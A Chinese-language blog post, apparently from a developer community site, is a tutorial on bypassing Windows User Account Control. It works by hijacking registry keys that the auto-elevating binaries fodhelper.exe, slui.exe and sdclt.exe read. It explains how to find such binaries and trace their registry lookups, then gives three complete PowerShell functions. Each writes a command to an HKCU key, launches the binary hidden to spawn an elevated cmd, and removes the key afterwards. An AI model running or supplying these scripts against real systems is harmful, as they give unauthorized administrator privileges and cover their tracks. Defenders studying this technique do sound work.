前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用注册表键值Bypass UAC

利用注册表键值Bypass UAC

原创
作者头像
一只特立独行的兔先生
修改2024-02-14 07:31:53
2640
修改2024-02-14 07:31:53
举报

1.fodhelper.exe Bypass UAC

fodhelper.exe是一个具备autoElevate属性且是微软自带的工具,具备微软签名,该程序在执行过程中会将注册表中HKCU:\Software\Classes\ms-settings\Shell\Open\command的内容当作命令执行。接下来笔者通过该程序大致地讲解一下如何通过fodhelper.exe绕过UAC。

首先我们需要在微软官网中下载sigcheck来帮助我们检查软件是否具备autoElevate属性。

使用命令Sigcheck.exe -m C:\Windows\System32\fodhelper.exe | findstr "autoElevate"来查询fodhelper.exe的autoElevate属性,或者使用命令Sigcheck.exe -m C:\Windows\System32\*.exe|findstr "autoElevate"来查询整个SYSTEM32目录下所有程序的autoElevate属性,具体执行结果如图1-1所示。

图1-1 查询指定程序的autoElevate属性
图1-1 查询指定程序的autoElevate属性

使用Windows自带的findstr程序也可以查询软件的autoElevate属性,使用命令findstr /c: "<autoElevate> " C:\Windows\System32\fodhelper.exe,执行结果如图1-2所示。

图1-2 findstr查询程序autoElevate
图1-2 findstr查询程序autoElevate

如果想要更加直观图形化的显示哪些程序具备autoElevate属性,则可以使用Manifesto来完成此工作,使用方法如图1-3所示。

图1-3 使用方法
图1-3 使用方法

刚刚笔者讲述了几种获取程序autoElevate属性的方法。下一步使用Process Monitor来分析fodhelper.exe是调用HKCU\Software\Classes\mscfile\shell\open\command并执行命令,在开始之前首先要在Process Monitor中设置如图1-4的两个过滤规则,以帮助快速分析。

图1-4 过滤
图1-4 过滤

随后执行fodhelper.exe,调用过程如图1-5。可以看到fodhelper.exe会查询注册表中 HKCU\Software\Classes\mscfile\shell\open\command的值,后面也会多次出现shell\open这个注册表项,但是路径不同,大部分程序喜欢在shell\open中来指定后缀文件的打开方式。例如HKCU\Software\Classes\mscfile\shell\open\command所定义的就是msc文件的默认打开方式。

图1-5 fodhelper注册表调用过程
图1-5 fodhelper注册表调用过程

继续回到fodhelper.exe,可以发现它会在HKCU:\Software\Classes\ms-settings\Shell\Open\command中进行查询,如果查询失败就会转到HKCR中。HKCU是当前用户注册表项,权限限制不严格。使用Powershell中的New-Item命令就可以在指定注册表中创建一个新的键,使用命令New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force来创建一个新的注册表项。

设置完成后,再次执行fodhelper.exe并通过ProcessMonitor进行监控,如图1-6所示。可以看到fodhelper.exe对HKCU\Software\Classes\ms-settings\shell\open\command\DelegateExecute进行查询,使用命令 New-ItemProperty -Path "HKCU:\Software\ClasTokses\ms-settings\Shell\Open\command "-Name "DelegateExecute" -Value "" -Force,给 HKCU\Software\Classes\ms-settings\shell\open\command\添加一个名为DelegateExecute的值。

图1-6 fodhelper执行流程
图1-6 fodhelper执行流程

当fodhelper.exe查询到DelegateExecute之后,会执行默认键名Default中的内容,使用命令Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Windows\System32\cmd.exe" -Force在Default中写入命令,来开启一个新的命令提示符。

执行fodhelper.exe便会得到一个已经绕过UAC限制的CMD,上述操作汇总成Powershell脚本来执行。执行Bypass函数之后就会反弹一个绕过UAC的CMD,具体代码如代码清单如下所示,执行结果如图1-7所示。

代码语言:bash
复制
function Bypass(){ 
	New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command "-Force
	New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command "-Name "DelegateExecute "-Value  " "-Force
	Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command "-Name "(default) "-Value "cmd /c start C:\Windows\System32\cmd.exe "-Force
	Start-Process "C:\Windows\System32\fodhelper.exe "-WindowStyle Hidden
	Start-Sleep 3
	Remove-Item "HKCU:\Software\Classes\ms-settings\ "-Recurse -Force
}

图1-7 执行Bypass函数,反弹一个绕过UAC的CMD
图1-7 执行Bypass函数,反弹一个绕过UAC的CMD

2. slui.exe Bypass UAC

Slui.exe同样会将注册表项HKCU:\Software\Classes\exefile\shell\open\command中的 default的内容当做命令执行,汇总成Powershell脚本代码,如代码清单4-22 所示,执行结果如图1-8所示。

代码语言:bash
复制
function Bypass(){ 
	New-Item "HKCU:\Software\Classes\exefile\shell\open\command " -Force
	Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\shell\open\command "-Name "(default)" -Value "cmd /c start C:\Windows\System32\cmd.exe" -Force
	Start-Process "C:\Windows\System32\slui.exe" -Verb runas -WindowStyle Hidden
	Start-Sleep 3
	Remove-Item "HKCU:\Software\Classes\exefile\shell\" -Recurse -Force
}

图1-8 弹出一个绕过UAC的命令提示符
图1-8 弹出一个绕过UAC的命令提示符

3. sdclt.exe Bypass UAC

sdclt.exe会读取注册HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe。可以在default值中设置启动程序,在Powershell中运行代码清单4-23所示代码,执行结果如图1-9所示,虽然像这种注册表的Bypass UAC还有很多,不过大部分都只能针对Windows 10\server 2016\Server 2019。

代码语言:bash
复制
function Bypass() {
	New-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Force
	Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe "-Name "(default)" -Value "C:\Windows\System32\cmd.exe" -Force
	Start-Process "C:\Windows\System32\sdclt.exe "-Verb runas -WindowStyle Hidden
	Start-Sleep 3
	Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe "-Recurse -Force
}

图1-9 启动程序
图1-9 启动程序

我正在参与2024腾讯技术创作特训营第五期有奖征文,快来和我瓜分大奖!

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.fodhelper.exe Bypass UAC
  • 2. slui.exe Bypass UAC
  • 3. sdclt.exe Bypass UAC
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档